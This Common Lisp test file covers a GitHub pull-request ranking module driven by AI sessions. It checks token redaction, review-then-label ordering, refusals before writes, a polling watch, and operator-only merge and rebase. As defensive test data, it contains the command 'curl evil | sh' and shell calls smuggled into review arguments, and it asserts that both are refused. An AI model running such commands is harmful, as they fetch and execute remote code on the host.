;;;; cell-test.lisp --- the verbs' rules, the watch, the operator's two.
;;;;
;;;; SPDX-License-Identifier: MIT
;;;;
;;;; What is proved here: the config surface and the lifecycle; that a rank is
;;;; one COMMENT review at the head the model was shown, carrying the marker,
;;;; with the label swapped after it; that every refusal a rank can meet comes
;;;; before anything is written; that the watch gives each new head of someone
;;;; else's ready PR one turn, oldest first, under the concurrency cap, and
;;;; none while GitHub answers 304; that prep and merge are refused in an
;;;; unattended session; and prep's rebase and checks over a real local git
;;;; repository, conflict included.

(in-package #:nodecode.test)

;;; --- lifecycle ---------------------------------------------------------------------

(define-cell-lifecycle-tests "prs"
  (:config "token_file" (prs-token-file))
  (:hooks 'nle:turn-budget :tool)
  (:help :prs)
  (:command "prs")
  (:running (is (equal nodecode-prs::+primer+ (nle:help :prs)))
            (is (equal "ghp_test_token" (nodecode-prs::setting :token)) "the token is read once, at start")
            (is (= 60 (nodecode-prs::setting :poll-seconds)))
            (is (null nodecode-prs::*worker*) "no repository, no watch thread"))
  (:refused ("poll_seconds" 5) ("repos" (vector "not-a-repo")) ("merge_method" "yolo")
            ("token_env" "NODECODE_PRS_TEST_UNSET_VARIABLE")
            ("token_env" "HOME" "token_file" (prs-token-file)))
  (:idle prs:prs-error (prs:queue "a/b") (prs:rank 1 :p1) (prs:merge 1)))

(deftest prs-cell-refusals-never-carry-the-token ()
  (with-prs ()
    (with-github ((:get "/pulls/1$" 401 "{\"message\":\"Bad credentials ghp_test_token\"}"))
      (let ((text (refusal-text prs:prs-error (prs:show 1 :repo "a/b"))))
        (is (search "401" text))
        (is (search "[redacted]" text))
        (is (null (search "ghp_test_token" text)))))
    (is (equal "Bearer ghp_test_token"
               (with-github ((:get "/pulls/1$" 200 (gh-pull 1)) (:all (gh-dossier-routes 1))
                             (:get "/pulls/1/reviews" 200 #()))
                 (prs:show 1 :repo "a/b")
                 (cdr (assoc "authorization" (getf (first (github-calls :get "/pulls/1$")) :headers)
                             :test #'string=)))))))

;;; --- the one write -------------------------------------------------------------------

(defun rank-routes (&rest more)
  (append more
          (list (list :get "/pulls/7$" 200 (gh-pull 7 :labels '("review:p3" "bug")))
                (list :post "/pulls/7/reviews" 200 (nlk:json-object "html_url" "https://github.com/a/b/pull/7#r1"))
                (list :delete "/issues/7/labels/" 200 #())
                (list :post "/issues/7/labels" 200 #())
                (list :patch "/pulls/7$" 200 (gh-pull 7 :state "closed")))))

(deftest prs-cell-rank-posts-one-comment-review-then-swaps-the-label ()
  (with-prs ("repos" (vector "a/b"))
    (with-github ((:all (rank-routes)))
      (is-carrying (text (prs:rank 7 :p1 :sha (subseq (gh-sha 7) 0 7) :review "Right fix; one nit."
                                         :comments '((:path "src/a.lisp" :line 3 :body "nit"))))
        "a/b#7 ranked p1" "review https://github.com/a/b/pull/7#r1" (:absent "closed"))
      (is-present (review (getf (first (github-calls :post "/reviews")) :body)) "one review was posted"
        (is-shape review ("event" "COMMENT") ("commit_id" (gh-sha 7)))
        ;; the marker names the head and the rank
        (is (search (format nil "<!-- nodecode-prs sha=~a rank=p1 -->" (gh-sha 7))
                    (gethash "body" review)))
        (is-shape (aref (gethash "comments" review) 0) ("path" "src/a.lisp") ("line" 3) ("side" "RIGHT")))
      (is (search "review%3Ap3" (getf (first (github-calls :delete)) :url)) "the old rank comes off")
      (is (equalp #("review:p1") (gethash "labels" (getf (first (github-calls :post "/labels")) :body))))
      ;; the review is posted before the label moves
      (is (< (position :post (mapcar (lambda (call) (getf call :method)) (github-calls nil "/reviews|/labels")))
             (position :delete (mapcar (lambda (call) (getf call :method)) (github-calls nil "/reviews|/labels")))))
      (is (null (github-calls :patch)) "nothing is closed")
      ;; the rank is known at once, with no second read
      (is (equal "p1" (getf (nodecode-prs::mark "a/b" 7 (gh-sha 7)) :rank))))))

(deftest prs-cell-rank-refuses-before-it-writes ()
  (with-prs ("repos" (vector "a/b"))
    (with-github ((:all (rank-routes (list :get "/compare/" 200 (nlk:json-object "status" "diverged"))
                                     (list :get "/repos/a/b$" 200 (nlk:json-object "default_branch" "main")))))
      (macrolet ((refuses (needle form)
                   `(is (search ,needle (refusal-text prs:prs-error ,form)) ,needle)))
        (refuses "a rank is :p0" (prs:rank 7 :p4 :review "x"))
        (refuses "moved" (prs:rank 7 :p1 :sha "0123456789" :review "x"))
        (refuses "empty" (prs:rank 7 :p1 :review "  "))
        (refuses "the operator's" (prs:rank 7 :p3 :review "x" :close :wontfix))
        (refuses "needs :cite \"#N\"" (prs:rank 7 :p3 :review "x" :close :duplicate))
        (refuses "needs :cite \"#N\"" (prs:rank 7 :p3 :review "x" :close :duplicate :cite "#7"))
        (refuses "not on a/b's default branch"
                 (prs:rank 7 :p3 :review "x" :close :on-main :cite "abcdef1"))
        (refuses "(:path \"file\"" (prs:rank 7 :p1 :review "x" :comments '(("a.lisp" 3 "nit"))))
        (refuses "name the repository" (let ((nodecode-prs::*prs* (list* :repos '() nodecode-prs::*prs*)))
                                         (prs:rank 7 :p1 :review "x"))))
      (is (null (github-calls :post)) "no review was posted")
      (is (null (github-calls :delete)) "and no label moved"))))

(deftest prs-cell-rank-closes-a-duplicate-citing-it ()
  (with-prs ("repos" (vector "a/b"))
    (with-github ((:all (rank-routes (list :get "/issues/3$" 200 (nlk:json-object "number" 3)))))
      (is (search "closed: Closing as a duplicate of #3."
                  (prs:rank 7 "P3" :review "Same change as #3." :close "duplicate" :cite "#3")))
      (is (uiop:string-prefix-p (format nil "Closing as a duplicate of #3.~%~%Same change")
                                (gethash "body" (getf (first (github-calls :post "/reviews")) :body))))
      (is (equal "closed" (gethash "state" (getf (first (github-calls :patch)) :body)))))))

;;; --- reading ---------------------------------------------------------------------------

(deftest prs-cell-show-is-the-dossier ()
  (with-prs ("repos" (vector "a/b"))
    (with-github ((:get "/pulls/1$" 200 (gh-pull 1 :labels '("review:p2")))
                  (:get "/pulls/1/reviews" 200 (vector (gh-review 1 "p2" (gh-sha 1 1))))
                  (:get "/pulls/2/files" 200 (vector (gh-file "src/a.lisp") (gh-file "src/b.lisp")))
                  (:all (gh-dossier-routes 1 :others (vector (gh-pull 1) (gh-pull 2)))))
      (is-carrying (text (prs:show 1))
        "PR a/b#1: Fix thing 1" "by @alice (contributor)" "onto main; +3 -1 in 1 file; mergeable: clean"
        "labels: review:p2" "checks at head: 1 passed, 0 failed, 0 pending"
        "last rank: p2 at 0000000, pushed since" "Reads well."
        "overlaps open PRs: #2 \"Fix thing 2\" (src/a.lisp)" "Fixes the thing."
        "modified +1 -1  src/a.lisp" "=== src/a.lisp (modified +1 -1)" "+new"))))

(deftest prs-cell-a-read-that-fails-twice-is-named-not-fatal ()
  (with-prs ("repos" (vector "a/b"))
    (with-github ((:get "/pulls/1$" 200 (gh-pull 1))
                  (:get "/pulls/1/reviews" 200 #())
                  (:get "/pulls/2/files" 502 "{\"message\":\"Server Error\"}")
                  (:all (gh-dossier-routes 1 :others (vector (gh-pull 1) (gh-pull 2)))))
      (is (search "overlaps open PRs: #2 (its files could not be read)" (prs:show 1)))
      ;; a read that answered 5xx is asked once more, and only once
      (is (= 2 (length (github-calls :get "/pulls/2/files")))))
    (with-github ((:post "/pulls/1/reviews" 502 "{\"message\":\"Server Error\"}")
                  (:get "/pulls/1$" 200 (gh-pull 1)))
      (is (search "502" (refusal-text prs:prs-error (prs:rank 1 :p2 :review "x"))))
      ;; a write is never sent twice
      (is (= 1 (length (github-calls :post "/reviews")))))))

(deftest prs-cell-queue-orders-by-rank ()
  (with-prs ()
    (with-github ((:get "sort=created" 200 (vector (gh-pull 1) (gh-pull 2 :draft t) (gh-pull 3)))
                  (:get "/pulls/1/reviews" 200 #())
                  (:get "/pulls/3/reviews" 200 (vector (gh-review 3 "p0"))))
      (let ((lines (nlk:lines (prs:queue "a/b"))))
        (is (equal "a/b: 3 open" (first lines)))
        (is (uiop:string-prefix-p (format nil "#3  p0 at ~a" (subseq (gh-sha 3) 0 7)) (second lines)) "p0 first")
        (is (uiop:string-prefix-p "#1  unranked" (third lines)))
        (is (uiop:string-prefix-p "#2  draft" (fourth lines)) "a draft last")))))

;;; --- the watch -------------------------------------------------------------------------

(defun watch-routes (pulls &key (status 200))
  "A listing of PULLS (the ETag \"e1\") and everything a dossier of any of them reads."
  (append (list (list :get "/user$" 200 (nlk:json-object "login" "pomterre"))
                (list :get "sort=updated" status (if (eql status 304) "" (coerce pulls 'vector))
                      (gh-headers "etag" "\"e1\""))
                (list :get "/pulls/4/reviews" 200 (vector (gh-review 4 "p2"))))
          (loop for pull in pulls
                for n = (nodecode-prs::number-of pull)
                collect (list :get (format nil "/pulls/~d$" n) 200 pull)
                collect (list :get (format nil "/pulls/~d/reviews" n) 200 #()))
          (gh-dossier-routes 0)
          (list (list :get "/files" 200 (vector (gh-file "x"))))))

(deftest prs-cell-watch-ranks-each-new-head-once ()
  (with-prs ("repos" (vector "a/b"))
    (let ((pulls (list (gh-pull 5 :author "carol") (gh-pull 1) (gh-pull 2 :draft t)
                       (gh-pull 3 :author "pomterre") (gh-pull 4 :author "bob"))))
      (with-submits ()
        (with-github ((:all (watch-routes pulls)))
          (nodecode-prs::poll-repo "a/b"))
        ;; #1 and #5, oldest first; not the draft, not the operator's own, not #4, ranked at its head
        (is (equal (list (format nil "prs:a/b#1:~a" (gh-sha 1)) (format nil "prs:a/b#5:~a" (gh-sha 5)))
                   (mapcar (lambda (submit) (getf submit :command-id)) (reverse *prs-submits*))))
        (is-present (submit (first (last *prs-submits*))) "the first request"
          (is (equal "prs-a-b-1" (getf submit :session)))
          (is-carrying (text (getf submit :prompt))
            "[prs: rank a/b#1 at 0000000" "(prs:rank 1 :pN :repo \"a/b\" :sha"
            "PR a/b#1: Fix thing 1"))
        (setf *prs-submits* '())
        (with-github ((:all (watch-routes pulls :status 304)))
          (nodecode-prs::poll-repo "a/b")
          (is (equal "\"e1\"" (cdr (assoc "if-none-match" (getf (first (github-calls :get "sort=updated")) :headers)
                                          :test #'string=)))))
        (is (null *prs-submits*) "a 304 starts nothing")
        (let ((pushed (list* (gh-pull 1 :head (gh-sha 1 1)) (rest pulls))))
          (with-github ((:all (watch-routes pushed)))
            (nodecode-prs::poll-repo "a/b")))
        ;; a push is a new head, and one more turn
        (is (equal (list (format nil "prs:a/b#1:~a" (gh-sha 1 1)))
                   (mapcar (lambda (submit) (getf submit :command-id)) *prs-submits*)))))))

(deftest prs-cell-watch-holds-to-the-concurrency-cap ()
  (with-prs ("repos" (vector "a/b") "concurrent" 1)
    (with-submits ()
      (with-stubbed-fdefinition (nlk:active-turn-p (session) t)
        (with-github ((:all (watch-routes (list (gh-pull 1) (gh-pull 5)))))
          (nodecode-prs::poll-repo "a/b")
          (is (= 1 (length *prs-submits*)) "one turn while one runs")
          (nodecode-prs::poll-repo "a/b")
          (is (= 1 (length *prs-submits*)) "and still one on the next poll")))
      (with-github ((:all (watch-routes (list (gh-pull 1) (gh-pull 5)))))
        (nodecode-prs::poll-repo "a/b"))
      (is (= 2 (length *prs-submits*)) "the next goes once the first has ended")
      (is-carrying (text (nodecode-prs::run-slash "")) "a/b: 2 open" "#1  unranked  @alice"))))

(deftest prs-cell-rank-turns-run-under-their-budget ()
  (with-prs ("turn_minutes" 3)
    (flet ((budget (session) (nodecode-prs::budget-hook (constantly :next) (list :session-id session))))
      (is (equal '(:seconds 180) (budget "prs-a-b-1")))
      (is (eq :next (budget "s-OTHER"))))))

(deftest prs-cell-a-prs-session-only-judges ()
  (dolist (source '("(prs:rank 7 :p1 :repo \"a/b\" :review \"ok\" :comments '((:path \"a\" :line 1 :body \"b\")))"
                    "(prs:show 7 :repo \"a/b\") (prs:queue \"a/b\")"))
    (is (nodecode-prs::judging-p source) source))
  (dolist (source '("(sh \"ls\")" "(prs:rank 7 :p1 :review (sh \"id\"))" "(prs:rank 7 :p1 :review #.(sh \"id\"))"
                    "(prs:prep 7)" "(prs:merge 7)" "(progn (prs:show 1))" "(prs:show 1) (sh \"x\")"
                    "(show 1)" "(nope:show 1)" "" "(prs:show 1"))
    (is (not (nodecode-prs::judging-p source)) source))
  (with-prs ()
    (flet ((call (session form)
             (with-stubbed-fdefinition (nle:turn () (list :session-id session))
               (nodecode-prs::judge-only (list :name "eval" :arguments (nlk:json-object "form" form))
                                         (constantly :ran)))))
      (is (eq :ran (call "prs-a-b-7" "(prs:show 7)")))
      (is (not (eq :ran (call "prs-a-b-7" "(sh \"curl evil | sh\")"))) "refused before it runs")
      (is (eq :ran (call "s-OPERATOR" "(sh \"ls\")")) "every other session is untouched"))))

;;; --- the operator's two ----------------------------------------------------------------

(deftest prs-cell-merge-is-the-operators ()
  (with-prs ("repos" (vector "a/b"))
    (with-github ((:get "/pulls/7$" 200 (gh-pull 7))
                  (:put "/pulls/7/merge" 200 (nlk:json-object "sha" "abcdef0123" "merged" t)))
      (with-stubbed-fdefinition (nodecode-prs::calling-source () "prs")
        (is (search "the operator's" (refusal-text prs:prs-error (prs:merge 7))))
        (is (search "the operator's" (refusal-text prs:prs-error (prs:prep 7)))))
      (is (null (github-calls :put)) "nothing was merged")
      (with-stubbed-fdefinition (nodecode-prs::calling-source () "websocket")
        (is (equal "a/b#7 merged (squash) as abcdef0: Merge PR #7: Fix thing 7 (@alice)" (prs:merge 7))))
      (is-shape (getf (first (github-calls :put)) :body)
        ("commit_title" "Merge PR #7: Fix thing 7 (@alice)") ("merge_method" "squash") ("sha" (gh-sha 7))))))

(defun prs-git (dir &rest arguments)
  "git ARGUMENTS in DIR with a throwaway identity: its output."
  (multiple-value-bind (out err status)
      (nlk:run-bounded (list* "git" "-c" "user.name=t" "-c" "user.email=t@t" "-c" "commit.gpgsign=false"
                              arguments)
                       :directory dir)
    (unless (eql status 0) (error "git ~a: ~a" arguments err))
    (nlk:trimmed out)))

(defun prs-origin (root &key conflict)
  "A repository at ROOT/origin/ whose main moved on after PR 9 branched off
it, the PR touching the file main touched when CONFLICT."
  (let ((dir (ensure-directories-exist (merge-pathnames "origin/" root))))
    (flet ((commit (file text message)
             (with-open-file (out (merge-pathnames file dir) :direction :output :if-exists :supersede)
               (write-string text out))
             (prs-git dir "add" file)
             (prs-git dir "commit" "-q" "-m" message)))
      (prs-git dir "init" "-q" "-b" "main")
      (commit "a.txt" "one" "one")
      (prs-git dir "checkout" "-q" "-b" "fix")
      (if conflict (commit "a.txt" "theirs" "theirs") (commit "b.txt" "fix" "fix"))
      (prs-git dir "update-ref" "refs/pull/9/head" "HEAD")
      (prs-git dir "checkout" "-q" "main")
      (commit "a.txt" "two" "two"))
    dir))

(defmacro with-prep ((root &key conflict) &body body)
  `(let ((,root (uiop:ensure-directory-pathname
                 (format nil "~a/prs-prep-~36r/" (uiop:temporary-directory) (random (expt 36 8))))))
     (unwind-protect
          (let ((origin (prs-origin ,root :conflict ,conflict)))
            (with-stubbed-fdefinitions ((nodecode-prs::clone-url (repo) (namestring origin))
                                        (nodecode-prs::clone-dir (repo)
                                          (merge-pathnames "clone/" ,root))
                                        (nodecode-prs::calling-source () nil))
              (with-github ((:get "/pulls/9$" 200 (gh-pull 9)))
                ,@body)))
       (uiop:delete-directory-tree ,root :validate t :if-does-not-exist :ignore))))

(deftest prs-cell-prep-rebases-in-a-clone-that-cannot-push ()
  (with-prs ("repos" (vector "a/b") "checks" (vector "test -f b.txt" "echo broke; false"))
    (with-prep (root)
      (is-carrying (text (prs:prep 9))
        "a/b#9 rebased onto main" "branch pr-9" "b.txt | 1 +"
        "pass  test -f b.txt" "FAIL  echo broke; false (exit 1" "broke")
      (let ((clone (merge-pathnames "clone/" root)))
        (is (equal "two" (uiop:read-file-string (merge-pathnames "a.txt" clone))) "on top of main")
        (is (equal "prs-never-pushes" (prs-git clone "remote" "get-url" "--push" "origin")))))))

(deftest prs-cell-prep-names-the-conflicts ()
  (with-prs ("repos" (vector "a/b"))
    (with-prep (root :conflict t)
      (is-carrying (text (prs:prep 9))
        "a/b#9 does not rebase onto main: conflicts in a.txt" "at the PR's own head")
      ;; the rebase was aborted: the clone is at the PR's own head
      (is (equal "theirs" (uiop:read-file-string (merge-pathnames "clone/a.txt" root)))))))
